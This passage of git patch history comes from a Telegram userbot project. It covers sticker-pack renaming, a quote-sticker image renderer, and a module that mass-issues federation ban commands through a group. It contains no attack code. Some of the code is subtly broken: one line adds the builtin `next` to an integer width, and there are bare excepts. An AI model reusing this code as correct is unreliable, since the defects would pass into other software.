Packs " - packshortname = "Infinity_Bots" - else: - packname = f"@{user.username} KangPack {pack}" - packshortname = f"Infinity_Bots_{userid}_Pack" + packname = f"@{user.username} KangPack {pack}" + packshortname = f"VirtualUserbot_{userid}_Pack" await moods.edit("`This Sticker is Gonna Get Stolen.....`") - is_a_s = is_it_animated_sticker(reply_message) file_ext_ns_ion = "@VirtualUserbot.png" - file = await borg.download_file(reply_message.media) uploaded_sticker = None if is_a_s: + file = await borg.download_file(reply_message.media) file_ext_ns_ion = "AnimatedSticker.tgs" uploaded_sticker = await borg.upload_file(file, file_name=file_ext_ns_ion) - if userid == 813878981: - packname = f"StarkGang Ka Pack" - packshortname = "StarkGangisgreat" - else: - packname = f"@{user.username} KangPack {pack}" - packshortname = f"Infinity_Bots_{userid}" # format: Uni_Borg_userid - + packname = f"@{user.username} KangPack {pack}" + packshortname = f"VirtualUserbot_{userid}" # format: Uni_Borg_userid else: - sticker = convert_to_image(event, borg) - uploaded_sticker = await borg.upload_file(sticker, file_name=file_ext_ns_ion) - + sticker = await convert_to_image(event, borg) + resize_image(sticker) + ok = sedpath + "/" + "@FridayOT.png" + uploaded_sticker = await borg.upload_file( + ok, file_name=file_ext_ns_ion + ) + os.remove(sticker) await moods.edit("`Inviting This Sticker To Your Pack 🚶`") - async with borg.conversation("@Stickers") as bot_conv: now = datetime.datetime.now() dt = now + datetime.timedelta(minutes=1) @@ -129,12 +124,6 @@ async def _(event): prevv = int(pack) - 1 packname = f"{user.username}'s {pack}" packshortname = f"Vol_{pack}_with_{user.username}" - # if userid == 948408212: - # packname = f"{user.username}'s {pack}" - # packshortname = "Vol._{pack}_FRIDAY_ke_locker_me" - # else: - # packname = f"Vol._{pack}_FRIDAY{userid}" - # packshortname = f"Vol._{pack}_Friday_{userid}_ns" if not await stickerset_exists(bot_conv, packshortname): await moods.edit( "**Pack No. **" @@ -214,6 +203,7 @@ async def _(event): await moods.edit( f"`This Sticker Has Came To Your Pack.` \n**Check It Out** [Here](t.me/addstickers/{packshortname})" ) + os.remove(sedpath + "/" + "@FridayOT.png") @friday.on(friday_on_cmd(pattern="packinfo")) @@ -401,7 +391,7 @@ async def stickerset_exists(conv, setname): return False -def resize_image(image, save_locaton): +def resize_image(image): """Copyright Rhyse Simpson: https://github.com/skittles9823/SkittBot/blob/master/tg_bot/modules/stickers.py """ @@ -424,7 +414,9 @@ def resize_image(image, save_locaton): im = im.resize(sizenew) else: im.thumbnail(maxsize) - im.save(save_locaton, "PNG") + file_name = "@FridayOT.png" + ok = sedpath + "/" + file_name + im.save(ok, "PNG") def progress(current, total): @@ -441,16 +433,14 @@ def find_instance(items, class_or_tuple): return item return None - async def get_sticker_emoji(event): reply_message = await event.get_reply_message() try: final_emoji = reply_message.media.document.attributes[1].alt except: - final_emoji = "😎" + final_emoji = '😎' return final_emoji - def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): From b38c237ddcb333114cb74c62c0728694b2a23082 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Mon, 18 Jan 2021 12:25:41 +0000 Subject: [PATCH 629/838] pylint: auto fixes --- fridaybot/modules/stickers.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index fd41c429..c1cf944a 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -9,8 +9,7 @@ import os import zipfile from collections import defaultdict -from io import BytesIO -from fridaybot.function import convert_to_image, crop_vid, runcmd + from PIL import Image from telethon.errors import MessageNotModifiedError from telethon.errors.rpcerrorlist import StickersetInvalidError @@ -23,6 +22,7 @@ ) from fridaybot import ALIVE_NAME, CMD_HELP +from fridaybot.function import convert_to_image from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd sedpath = Config.TMP_DOWNLOAD_DIRECTORY @@ -73,9 +73,7 @@ async def _(event): sticker = await convert_to_image(event, borg) resize_image(sticker) ok = sedpath + "/" + "@FridayOT.png" - uploaded_sticker = await borg.upload_file( - ok, file_name=file_ext_ns_ion - ) + uploaded_sticker = await borg.upload_file(ok, file_name=file_ext_ns_ion) os.remove(sticker) await moods.edit("`Inviting This Sticker To Your Pack 🚶`") async with borg.conversation("@Stickers") as bot_conv: @@ -433,14 +431,16 @@ def find_instance(items, class_or_tuple): return item return None + async def get_sticker_emoji(event): reply_message = await event.get_reply_message() try: final_emoji = reply_message.media.document.attributes[1].alt except: - final_emoji = '😎' + final_emoji = "😎" return final_emoji + def zipdir(path, ziph): # ziph is zipfile handle for root, dirs, files in os.walk(path): From c684aedcca7fa05e4ab9f980c39b3be8b9a9764b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 17:57:16 +0530 Subject: [PATCH 630/838] Update requirements.txt --- requirements.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/requirements.txt b/requirements.txt index d28ecd5e..64019a85 100644 --- a/requirements.txt +++ b/requirements.txt @@ -20,7 +20,7 @@ aiohttp bs4 coffeehouse cowpy -cryptg +nltk emoji gTTS-token>=1.1.3 gTTS>=2.0.1 From 560eca682279caad2ffa0395a6e0d319d702a042 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Mon, 18 Jan 2021 18:04:44 +0530 Subject: [PATCH 631/838] Update stickers.py --- fridaybot/modules/stickers.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/fridaybot/modules/stickers.py b/fridaybot/modules/stickers.py index c1cf944a..18a57cb0 100644 --- a/fridaybot/modules/stickers.py +++ b/fridaybot/modules/stickers.py @@ -201,7 +201,7 @@ async def _(event): await moods.edit( f"`This Sticker Has Came To Your Pack.` \n**Check It Out** [Here](t.me/addstickers/{packshortname})" ) - os.remove(sedpath + "/" + "@FridayOT.png") + os.remove(sedpath + "/" + "@VirtualUserbot.png") @friday.on(friday_on_cmd(pattern="packinfo")) From 77f4f08fe440d15187b88a20c9313f2d9876b428 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 07:06:25 +0530 Subject: [PATCH 632/838] Test --- fridaybot/modules/{qbot.py => qbot} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename fridaybot/modules/{qbot.py => qbot} (100%) diff --git a/fridaybot/modules/qbot.py b/fridaybot/modules/qbot similarity index 100% rename from fridaybot/modules/qbot.py rename to fridaybot/modules/qbot From 192c05a4bd9f2481061b057a28f2ce242b4d4a73 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 07:13:03 +0530 Subject: [PATCH 633/838] The new qbot --- fridaybot/modules/quotly.py | 446 +++++++++++++++++++++++++++++++++++- 1 file changed, 443 insertions(+), 3 deletions(-) diff --git a/fridaybot/modules/quotly.py b/fridaybot/modules/quotly.py index 0dce4370..51fa71e6 100644 --- a/fridaybot/modules/quotly.py +++ b/fridaybot/modules/quotly.py @@ -1,13 +1,453 @@ -"""QuotLy: Avaible commands: .qbot -""" +# This file is part of NiceGrill. + +# NiceGrill is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# NiceGrill is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with NiceGrill. If not, see . + +import json +import os +import random +import textwrap +import urllib + +import emoji +from fontTools.ttLib import TTFont +from PIL import Image, ImageDraw, ImageFont, ImageOps from telethon import events from telethon.errors.rpcerrorlist import YouBlockedUserError +from telethon.tl import functions, types from fridaybot import CMD_HELP, bot from fridaybot.utils import friday_on_cmd +COLORS = [ + "#F07975", + "#F49F69", + "#F9C84A", + "#8CC56E", + "#6CC7DC", + "#80C1FA", + "#BCB3F9", + "#E181AC", +] + + +class Quote: + async def process(msg, user, client, reply, replied=None): + font = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 43, encoding="utf-16") + font2 = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 33, encoding="utf-16") + mono = ImageFont.truetype("Fonts/DroidSansMono.ttf", 30, encoding="utf-16") + italic = ImageFont.truetype("Fonts/Roboto-Italic.ttf", 33, encoding="utf-16") + fallback = ImageFont.truetype("Fonts/Quivira.otf", 43, encoding="utf-16") + # Splitting text + maxlength = 0 + width = 0 + text = [] + for line in msg.split("\n"): + length = len(line) + if length > 43: + text += textwrap.wrap(line, 43) + maxlength = 43 + if width < fallback.getsize(line[:43])[0]: + if "MessageEntityCode" in str(reply.entities): + width = mono.getsize(line[:43])[0] + 30 + else: + width = fallback.getsize(line[:43])[0] + next + else: + text.append(line + "\n") + if width < fallback.getsize(line)[0]: + if "MessageEntityCode" in str(reply.entities): + width = mono.getsize(line)[0] + 30 + else: + width = fallback.getsize(line)[0] + if maxlength < length: + maxlength = length + + title = "" + try: + details = await client( + functions.channels.GetParticipantRequest(reply.chat_id, user.id) + ) + if isinstance(details.participant, types.ChannelParticipantCreator): + title = ( + details.participant.rank if details.participant.rank else "Creator" + ) + elif isinstance(details.participant, types.ChannelParticipantAdmin): + title = ( + details.participant.rank if details.participant.rank else "Admin" + ) + except TypeError: + pass + titlewidth = font2.getsize(title)[0] + + # Get user name + lname = "" if not user.last_name else user.last_name + tot = user.first_name + " " + lname + + namewidth = fallback.getsize(tot)[0] + 10 + + if namewidth > width: + width = namewidth + width += ( + titlewidth + 30 if titlewidth > width - namewidth else -(titlewidth - 30) + ) + height = len(text) * 40 + + # Profile Photo BG + pfpbg = Image.new("RGBA", (125, 600), (0, 0, 0, 0)) + + # Draw Template + top, middle, bottom = await Quote.drawer(width, height) + # Profile Photo Check and Fetch + yes = False + color = random.choice(COLORS) + async for photo in client.iter_profile_photos(user, limit=1): + yes = True + if yes: + pfp = await client.download_profile_photo(user) + paste = Image.open(pfp) + os.remove(pfp) + paste.thumbnail((105, 105)) + + # Mask + mask_im = Image.new("L", paste.size, 0) + draw = ImageDraw.Draw(mask_im) + draw.ellipse((0, 0, 105, 105), fill=255) + + # Apply Mask + pfpbg.paste(paste, (0, 0), mask_im) + else: + paste, color = await Quote.no_photo(user, tot) + pfpbg.paste(paste, (0, 0)) + + # Creating a big canvas to gather all the elements + canvassize = ( + middle.width + pfpbg.width, + top.height + middle.height + bottom.height, + ) + canvas = Image.new("RGBA", canvassize) + draw = ImageDraw.Draw(canvas) + + y = 80 + if replied: + # Creating a big canvas to gather all the elements + replname = "" if not replied.sender.last_name else replied.sender.last_name + reptot = replied.sender.first_name + " " + replname + font2.getsize(reptot)[0] + if reply.sticker: + sticker = await reply.download_media() + stimg = Image.open(sticker) + canvas = canvas.resize((stimg.width + pfpbg.width, stimg.height + 160)) + top = Image.new("RGBA", (200 + stimg.width, 300), (29, 29, 29, 255)) + draw = ImageDraw.Draw(top) + await Quote.replied_user( + draw, reptot, replied.message.replace("\n", " "), 20 + ) + top = top.crop((135, 70, top.width, 300)) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width + 10, 0)) + canvas.paste(stimg, (pfpbg.width + 10, 140)) + os.remove(sticker) + return True, canvas + canvas = canvas.resize((canvas.width + 60, canvas.height + 120)) + top, middle, bottom = await Quote.drawer(middle.width + 60, height + 105) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + draw = ImageDraw.Draw(canvas) + if replied.sticker: + replied.text = "Sticker" + elif replied.photo: + replied.text = "Photo" + elif replied.audio: + replied.text = "Audio" + elif replied.voice: + replied.text = "Voice Message" + elif replied.document: + replied.text = "Document" + await Quote.replied_user( + draw, + reptot, + replied.message.replace("\n", " "), + maxlength + len(title), + len(title), + ) + y = 200 + elif reply.sticker: + sticker = await reply.download_media() + stimg = Image.open(sticker) + canvas = canvas.resize((stimg.width + pfpbg.width + 30, stimg.height + 10)) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(stimg, (pfpbg.width + 10, 10)) + os.remove(sticker) + return True, canvas + elif reply.document and not reply.audio and not reply.audio: + docname = ".".join(reply.document.attributes[-1].file_name.split(".")[:-1]) + doctype = reply.document.attributes[-1].file_name.split(".")[-1].upper() + if reply.document.size < 1024: + docsize = str(reply.document.size) + " Bytes" + elif reply.document.size < 1048576: + docsize = str(round(reply.document.size / 1024, 2)) + " KB " + elif reply.document.size < 1073741824: + docsize = str(round(reply.document.size / 1024 ** 2, 2)) + " MB " + else: + docsize = str(round(reply.document.size / 1024 ** 3, 2)) + " GB " + docbglen = ( + font.getsize(docsize)[0] + if font.getsize(docsize)[0] > font.getsize(docname)[0] + else font.getsize(docname)[0] + ) + canvas = canvas.resize((pfpbg.width + width + docbglen, 160 + height)) + top, middle, bottom = await Quote.drawer(width + docbglen, height + 30) + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + canvas = await Quote.doctype(docname, docsize, doctype, canvas) + y = 80 if text else 0 + else: + canvas.paste(pfpbg, (0, 0)) + canvas.paste(top, (pfpbg.width, 0)) + canvas.paste(middle, (pfpbg.width, top.height)) + canvas.paste(bottom, (pfpbg.width, top.height + middle.height)) + y = 85 + + # Writing User's Name + space = pfpbg.width + 30 + namefallback = ImageFont.truetype("Fonts/Quivira.otf", 43, encoding="utf-16") + for letter in tot: + if letter in emoji.UNICODE_EMOJI: + newemoji, mask = await Quote.emoji_fetch(letter) + canvas.paste(newemoji, (space, 24), mask) + space += 40 + else: + if not await Quote.fontTest(letter): + draw.text((space, 20), letter, font=namefallback, fill=color) + space += namefallback.getsize(letter)[0] + else: + draw.text((space, 20), letter, font=font, fill=color) + space += font.getsize(letter)[0] + + if title: + draw.text( + (canvas.width - titlewidth - 20, 25), title, font=font2, fill="#898989" + ) + + # Writing all separating emojis and regular texts + x = pfpbg.width + 30 + bold, mono, italic, link = await Quote.get_entity(reply) + index = 0 + emojicount = 0 + textfallback = ImageFont.truetype("Fonts/Quivira.otf", 33, encoding="utf-16") + textcolor = "white" + for line in text: + for letter in line: + index = ( + msg.find(letter) + if emojicount == 0 + else msg.find(letter) + emojicount + ) + for offset, length in bold.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Medium.ttf", 33, encoding="utf-16" + ) + textcolor = "white" + for offset, length in italic.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Italic.ttf", 33, encoding="utf-16" + ) + textcolor = "white" + for offset, length in mono.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/DroidSansMono.ttf", 30, encoding="utf-16" + ) + textcolor = "white" + for offset, length in link.items(): + if index in range(offset, length): + font2 = ImageFont.truetype( + "Fonts/Roboto-Regular.ttf", 30, encoding="utf-16" + ) + textcolor = "#898989" + if letter in emoji.UNICODE_EMOJI: + newemoji, mask = await Quote.emoji_fetch(letter) + canvas.paste(newemoji, (x, y - 2), mask) + x += 45 + emojicount += 1 + else: + if not await Quote.fontTest(letter): + draw.text((x, y), letter, font=textfallback, fill=textcolor) + x += textfallback.getsize(letter)[0] + else: + draw.text((x, y), letter, font=font2, fill=textcolor) + x += font2.getsize(letter)[0] + msg = msg.replace(letter, "¶", 1) + y += 40 + x = pfpbg.width + 30 + return True, canvas + + async def drawer(width, height): + # Top part + top = Image.new("RGBA", (width, 20), (0, 0, 0, 0)) + draw = ImageDraw.Draw(top) + draw.line((10, 0, top.width - 20, 0), fill=(29, 29, 29, 255), width=50) + draw.pieslice((0, 0, 30, 50), 180, 270, fill=(29, 29, 29, 255)) + draw.pieslice( + (top.width - 75, 0, top.width, 50), 270, 360, fill=(29, 29, 29, 255) + ) + + # Middle part + middle = Image.new("RGBA", (top.width, height + 75), (29, 29, 29, 255)) + + # Bottom part + bottom = ImageOps.flip(top) + + return top, middle, bottom + + async def fontTest(letter): + test = TTFont("Fonts/Roboto-Medium.ttf") + for table in test["cmap"].tables: + if ord(letter) in table.cmap.keys(): + return True + + async def get_entity(msg): + bold = {0: 0} + italic = {0: 0} + mono = {0: 0} + link = {0: 0} + if not msg.entities: + return bold, mono, italic, link + for entity in msg.entities: + if isinstance(entity, types.MessageEntityBold): + bold[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityItalic): + italic[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityCode): + mono[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityUrl): + link[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityTextUrl): + link[entity.offset] = entity.offset + entity.length + elif isinstance(entity, types.MessageEntityMention): + link[entity.offset] = entity.offset + entity.length + return bold, mono, italic, link + + async def doctype(name, size, type, canvas): + font = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + doc = Image.new("RGBA", (130, 130), (29, 29, 29, 255)) + draw = ImageDraw.Draw(doc) + draw.ellipse((0, 0, 130, 130), fill="#434343") + draw.line((66, 28, 66, 53), width=14, fill="white") + draw.polygon([(67, 77), (90, 53), (42, 53)], fill="white") + draw.line((40, 87, 90, 87), width=8, fill="white") + canvas.paste(doc, (160, 23)) + draw2 = ImageDraw.Draw(canvas) + draw2.text((320, 40), name, font=font, fill="white") + draw2.text((320, 97), size + type, font=font, fill="#AAAAAA") + return canvas + + async def no_photo(reply, tot): + pfp = Image.new("RGBA", (105, 105), (0, 0, 0, 0)) + pen = ImageDraw.Draw(pfp) + color = random.choice(COLORS) + pen.ellipse((0, 0, 105, 105), fill=color) + letter = "" if not tot else tot[0] + font = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 60) + pen.text((32, 17), letter, font=font, fill="white") + return pfp, color + + async def emoji_fetch(emoji): + emojis = json.loads( + urllib.request.urlopen( + "https://github.com/erenmetesar/modules-repo/raw/master/emojis.txt" + ) + .read() + .decode() + ) + if emoji in emojis: + img = emojis[emoji] + return await Quote.transparent( + urllib.request.urlretrieve(img, ".tmp/emoji.png")[0] + ) + else: + img = emojis["⛔"] + return await Quote.transparent( + urllib.request.urlretrieve(img, ".tmp/emoji.png")[0] + ) + + async def transparent(emoji): + emoji = Image.open(emoji).convert("RGBA") + emoji.thumbnail((40, 40)) + + # Mask + mask = Image.new("L", (40, 40), 0) + draw = ImageDraw.Draw(mask) + draw.ellipse((0, 0, 40, 40), fill=255) + return emoji, mask + + async def replied_user(draw, tot, text, maxlength, title): + namefont = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + namefallback = ImageFont.truetype("Fonts/Quivira.otf", 38) + textfont = ImageFont.truetype("Fonts/Roboto-Regular.ttf", 32) + textfallback = ImageFont.truetype("Fonts/Roboto-Medium.ttf", 38) + maxlength = maxlength + 7 if maxlength < 10 else maxlength + text = text[: maxlength - 2] + ".." if len(text) > maxlength else text + draw.line((165, 90, 165, 170), width=5, fill="white") + space = 0 + for letter in tot: + if not await Quote.fontTest(letter): + draw.text((180 + space, 86), letter, font=namefallback, fill="#888888") + space += namefallback.getsize(letter)[0] + else: + draw.text((180 + space, 86), letter, font=namefont, fill="#888888") + space += namefont.getsize(letter)[0] + space = 0 + for letter in text: + if not await Quote.fontTest(letter): + draw.text((180 + space, 132), letter, font=textfallback, fill="#888888") + space += textfallback.getsize(letter)[0] + else: + draw.text((180 + space, 132), letter, font=textfont, fill="white") + space += textfont.getsize(letter)[0] + + +@borg.on(friday_on_cmd(pattern="q(?: |$)(.*)")) +async def create_sticker(message): + if message.fwd_from: + return + if not message.reply_to_msg_id: + await message.edit("```Reply to any user message.```") + return + if not os.path.isdir(".tmp"): + os.mkdir(".tmp", 0o755) + await message.delete() + reply = await message.get_reply_message() + msg = reply.message + repliedreply = await reply.get_reply_message() + user = ( + await borg.get_entity(reply.forward.sender) if reply.fwd_from else reply.sender + ) + res, canvas = await Quote.process(msg, user, borg, reply, repliedreply) + if not res: + return + canvas.save(".tmp/sticker.webp") + await message.respond(file=".tmp/sticker.webp") + os.remove(".tmp/sticker.webp") + -# @register(outgoing=True, pattern="^.q(?: |$)(.*)") @friday.on(friday_on_cmd(pattern=r"qbot(?: |$)(.*)")) async def _(event): if event.fwd_from: From 37524447e4b67923ed01242399132ff112cfc5e7 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 12:28:08 +0530 Subject: [PATCH 634/838] BOOM! --- fridaybot/modules/qbot | 42 ------------------------------------------ 1 file changed, 42 deletions(-) delete mode 100644 fridaybot/modules/qbot diff --git a/fridaybot/modules/qbot b/fridaybot/modules/qbot deleted file mode 100644 index 363dfcd6..00000000 --- a/fridaybot/modules/qbot +++ /dev/null @@ -1,42 +0,0 @@ -# port to DARK COBRA by @hellboi-atul - -from telethon import events -from telethon.errors.rpcerrorlist import YouBlockedUserError - -from fridaybot import bot - -from ..utils import admin_cmd - - -@borg.on(admin_cmd(pattern=r"qubot(?: |$)(.*)")) -async def _(event): - if event.fwd_from: - return - if not event.reply_to_msg_id: - await event.edit("```Reply to any user message.```") - return - reply_message = await event.get_reply_message() - - chat = "@QuotLyBot" - reply_message.sender - if reply_message.sender.bot: - await event.edit("```Reply to actual users message.```") - return - await event.edit("```Making a Quote```") - async with bot.conversation(chat) as conv: - try: - response = conv.wait_event( - events.NewMessage(incoming=True, from_users=1031952739) - ) - await bot.forward_messages(chat, reply_message) - response = await response - except YouBlockedUserError: - await event.reply("```Please unblock @QuotLyBot and try again```") - return - if response.text.startswith("Hi!"): - await event.edit( - "```Can you kindly disable your forward privacy settings for good?```" - ) - else: - await event.delete() - await bot.forward_messages(event.chat_id, response.message) From 033cc8f4dc44069af12b9146a5088d2c7e7395a1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 12:31:48 +0530 Subject: [PATCH 635/838] Hmmmmn --- fridaybot/modules/mtn.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/mtn.py b/fridaybot/modules/mtn.py index 60994b97..60bf70e7 100644 --- a/fridaybot/modules/mtn.py +++ b/fridaybot/modules/mtn.py @@ -91,8 +91,8 @@ async def _(event): CMD_HELP.update( { - "mtn": "**MTN**\ -\n\n**Syntax : **`.mtn `\ + "Netboost": "**Dialog and Mobitel**\ +\n\n**Syntax : **`.Dialog ` ,`.Mobitel`\ \n**Usage :** Funny prank plugin." } ) From 55f9582b34ed33408aa027037d575c262f1902f6 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 17:35:35 +0530 Subject: [PATCH 636/838] Update __init__.py --- fridaybot/function/__init__.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/fridaybot/function/__init__.py b/fridaybot/function/__init__.py index c5a5cce8..92758b0b 100644 --- a/fridaybot/function/__init__.py +++ b/fridaybot/function/__init__.py @@ -249,14 +249,14 @@ async def fetch_feds(event, borg): await event.edit( "`Boss, You Real Peru. You Are Admin in So Many Feds. WoW!`" ) - await asyncio.sleep(6) + await asyncio.sleep(2) await response.click(0) await asyncio.sleep(6) fedfile = await bot_conv.get_response() - await asyncio.sleep(3) + await asyncio.sleep(2) if fedfile.media: - downloaded_file_name = await borg.download_media(fedfile, "fedlist") - await asyncio.sleep(6) + downloaded_file_name = await borg.download_media(fedfile, "fedlist.txt") + await asyncio.sleep(1) file = open(downloaded_file_name, "r") lines = file.readlines() for line in lines: From 1a4e36a530a433535642219b81f5e5672aff55f5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 17:36:25 +0530 Subject: [PATCH 637/838] Boom --- fridaybot/modules/fedban.py | 57 ------------------------------------- 1 file changed, 57 deletions(-) delete mode 100644 fridaybot/modules/fedban.py diff --git a/fridaybot/modules/fedban.py b/fridaybot/modules/fedban.py deleted file mode 100644 index 24846534..00000000 --- a/fridaybot/modules/fedban.py +++ /dev/null @@ -1,57 +0,0 @@ -import time -from datetime import datetime - -from fridaybot import CMD_HELP, Lastupdate -from fridaybot.utils import edit_or_reply, friday_on_cmd, sudo_cmd - - -def get_readable_time(seconds: int) -> str: - count = 0 - ping_time = "" - time_list = [] - time_suffix_list = ["s", "m", "h", "days"] - - while count < 4: - count += 1 - if count < 3: - remainder, result = divmod(seconds, 60) - else: - remainder, result = divmod(seconds, 24) - if seconds == 0 and remainder == 0: - break - time_list.append(int(result)) - seconds = int(remainder) - - for x in range(len(time_list)): - time_list[x] = str(time_list[x]) + time_suffix_list[x] - if len(time_list) == 4: - ping_time += time_list.pop() + ", " - - time_list.reverse() - ping_time += ":".join(time_list) - - return ping_time - - -@friday.on(friday_on_cmd(pattern="ping$")) -@friday.on(sudo_cmd(pattern="ping$", allow_sudo=True)) -async def _(event): - starkislub = await edit_or_reply(event, "`Pong !`") - if event.fwd_from: - return - start = datetime.now() - end = datetime.now() - ms = (end - start).microseconds / 1000 - uptime = get_readable_time((time.time() - Lastupdate)) - await starkislub.edit( - f"**🙈වැඩ වැඩ මහතයෝ⚙🔧** \n **ᵐʸ ᶜᵘʳʳᵉⁿᵗ ᵖᶦⁿᵍʳᵃᵗᵉ**👇 \n \n ⚡️ `{ms}` \n ⚡️ `{uptime}`" - ) - - -CMD_HELP.update( - { - "ping": "**Ping**\ -\n\n**Syntax : **`.pin`\ -\n**Usage :** Get uptime and speed of your bot." - } -) From 56342774b4b233b0aa8fc9ea7a111457e637de5b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 19 Jan 2021 17:37:21 +0530 Subject: [PATCH 638/838] Create fed_ban.py --- fridaybot/modules/fed_ban.py | 121 +++++++++++++++++++++++++++++++++++ 1 file changed, 121 insertions(+) create mode 100644 fridaybot/modules/fed_ban.py diff --git a/fridaybot/modules/fed_ban.py b/fridaybot/modules/fed_ban.py new file mode 100644 index 00000000..4b85afda --- /dev/null +++ b/fridaybot/modules/fed_ban.py @@ -0,0 +1,121 @@ +from fridaybot.function import fetch_feds +from fridaybot.modules.sql_helper.feds_sql import ( + add_fed, + get_all_feds, + is_fed_indb, + rmfed, +) +import asyncio +from fridaybot.utils import friday_on_cmd + +chnnl_grp = Config.FBAN_GROUP + + +@friday.on(friday_on_cmd(pattern="fadd ?(.*)")) +async def _(event): + nolol = 0 + yeslol = 0 + await event.edit("`Processing..`") + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + hmm = await fetch_feds(event, borg) + for i in hmm: + if is_fed_indb(i): + nolol += 1 + elif not is_fed_indb(i): + add_fed(i) + yeslol += 1 + await event.edit(f"`Added {yeslol} Feds To DB, Failed To Add {nolol} Feds.`") + elif is_fed_indb(lol_s): + await event.edit("`Fed Already Found On DataBase.`") + return + elif not is_fed_indb(lol_s): + add_fed(lol_s) + await event.edit("`Done ! Added This Fed To DataBase`") + + +@friday.on(friday_on_cmd(pattern="frm ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + await event.edit("`Processing..`") + lol = get_all_feds() + if lol_s == None: + await event.edit("`Give FeD ID`") + return + elif lol_s == " ": + await event.edit("`Give FeD ID`") + return + elif lol_s == "all": + for sedm in lol: + rmfed(sedm.feds) + await event.edit("`Done, Cleared. All Fed Database.`") + elif is_fed_indb(lol_s): + rmfed(lol_s) + await event.edit("`Done, Removed This FeD From DB`") + elif not is_fed_indb(lol_s): + await event.edit("`This Fed Not Found On Db.`") + + +@friday.on(friday_on_cmd(pattern="fban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No user Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + if len_feds == 0: + await event.edit("`No Fed IN DB, Add One To Do So. Please Do .fadd all to Add All Feds IN Database`") + return + await event.edit(f"`FBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) + await asyncio.sleep(2) + await borg.send_message(chnnl_grp, "/fban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Fban Completed** \nTotal Sucess : `{len_feds - errors}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) + + +@friday.on(friday_on_cmd(pattern="unfban ?(.*)")) +async def _(event): + lol_s = event.pattern_match.group(1) + if lol_s == None: + await event.edit("`No User Found To Fban.`") + return + all_fed = get_all_feds() + errors = 0 + len_feds = len(all_fed) + await event.edit(f"`UnFBanning in {len_feds} Feds.`") + try: + await borg.send_message(chnnl_grp, "/start") + except Exception as e: + await event.edit("**Errors** : " + str(e)) + return + for teamz in all_fed: + try: + await borg.send_message(chnnl_grp, "/joinfed " + teamz.feds) + await asyncio.sleep(2) + await borg.send_message(chnnl_grp, "/unfban " + lol_s) + await asyncio.sleep(5) + except: + errors += 1 + await event.edit( + f"**Un-Fban Completed** \nTotal Sucess : `{len_feds - errors}` \nTotal Errors : `{errors}` \nTotal Fed Len : `{len_feds}`" + ) From 8244f392fde656aa42bb6c947e42a70a99ab0abf Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 19 Jan 2021 12:08:17 +0000 Subject: [PATCH 639/838] pylint: auto fixes --- fridaybot/modules/fed_ban.py | 7 +++++-- 1 file changed, 5 insertions(+), 2 deletions(-) diff --git a/fridaybot/modules/fed_ban.py 